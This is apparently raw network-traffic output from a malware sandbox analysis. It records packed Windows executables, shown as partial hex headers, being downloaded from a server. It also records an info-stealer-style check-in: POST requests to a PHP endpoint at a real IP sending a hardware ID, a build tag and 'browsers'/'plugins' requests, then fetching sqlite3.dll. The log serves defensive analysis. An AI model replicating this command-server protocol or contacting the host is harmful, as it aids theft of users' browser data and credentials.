6b 70 74 69 67 64 00 f0 19 00 00 90 31 00 00 e8 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 70 68 71 76 62 61 6b 00 10 00 00 00 80 4b 00 00 04 00 00 00 de 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4b 00 00 22 00 00 00 e2 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 21:21:19 GMTContent-Type: application/octet-streamContent-Length: 4373504Last-Modified: Sun, 17 Nov 2024 20:13:16 GMTConnection: keep-aliveETag: "673a4e5c-42bc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 a0 b8 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 b8 00 00 04 00 00 d6 d8 42 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 83 b8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 83 b8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 65 00 00 10 00 00 00 6c 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 65 00 00 00 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 65 00 00 02 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 37 00 00 80 65 00 00 02 00 00 00 7e 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 71 75 6d 76 6c 6d 61 00 20 1b 00 00 70 9d 00 00 16 1b 00 00 80 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 79 69 6b 6b 7a 6d 6e 00 10 00 00 00 90 b8 00 00 04 00 00 00 96 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 b8 00 00 22 00 00 00 9a 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 21:21:30 GMTContent-Type: application/octet-streamContent-Length: 1835008Last-Modified: Sun, 17 Nov 2024 21:03:42 GMTConnection: keep-aliveETag: "673a5a2e-1c0000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 00 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 49 00 00 04 00 00 32 09 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 05 00 00 10 00 00 00 78 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 b0 05 00 00 00 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 05 00 00 02 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 29 00 00 d0 05 00 00 02 00 00 00 8a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 72 68 74 64 6e 65 6e 00 50 19 00 00 a0 2f 00 00 4e 19 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 64 6e 7a 76 63 67 6d 00 10 00 00 00 f0 48 00 00 04 00 00 00 da 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 49 00 00 22 00 00 00 de 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 21:21:54 GMTContent-Type: application/octet-streamContent-Length: 1808384Last-Modified: Sun, 17 Nov 2024 21:03:49 GMTConnection: keep-aliveETag: "673a5a35-1b9800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 40 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 69 00 00 04 00 00 dc 06 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6a 6b 76 66 6a 75 6a 00 00 1a 00 00 30 4f 00 00 fa 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 73 73 78 75 73 78 61 00 10 00 00 00 30 69 00 00 04 00 00 00 72 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 69 00 00 22 00 00 00 76 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 21:22:03 GMTContent-Type: application/octet-streamContent-Length: 922112Last-Modified: Sun, 17 Nov 2024 21:01:59 GMTConnection: keep-aliveETag: "673a59c7-e1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bf 59 3a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 2e 45 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 70 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 a6 00 00 00 40 0d 00 00 a8 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 21:22:12 GMTContent-Type: application/octet-streamContent-Length: 2764288Last-Modified: Sun, 17 Nov 2024 21:02:24 GMTConnection: keep-aliveETag: "673a59e0-2a2e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2a 00 00 04 00 00 d0 30 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 77 6a 61 72 64 76 70 00 e0 29 00 00 a0 00 00 00 cc 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 74 66 64 78 74 6e 7a 00 20 00 00 00 80 2a 00 00 06 00 00 00 06 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2a 00 00 22 00 00 00 0c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHDHIEGIIIDHIDHDHJJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 36 33 30 37 42 37 36 34 38 43 31 37 33 30 36 37 37 36 35 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 2d 2d 0d 0a Data Ascii: ------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="hwid"486307B7648C1730677652------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="build"mars------JEHDHIEGIIIDHIDHDHJJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDAFIIDAKJDGDHIDAKJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 2d 2d 0d 0a Data Ascii: ------FHDAFIIDAKJDGDHIDAKJContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------FHDAFIIDAKJDGDHIDAKJContent-Disposition: form-data; name="message"browsers------FHDAFIIDAKJDGDHIDAKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBAKKJKKECGDGCAECAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 2d 2d 0d 0a Data Ascii: ------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="message"plugins------DGDBAKKJKKECGDGCAECA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHJKJEBGHJJKEBGIECHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 2d 2d 0d 0a Data Ascii: ------KJEHJKJEBGHJJKEBGIECContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------KJEHJKJEBGHJJKEBGIECContent-Disposition: form-data; name="message"fplugins------KJEHJKJEBGHJJKEBGIEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDAEBGIDBGHIECBGHJDHost: 185.215.113.206Content-Length: 5855Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
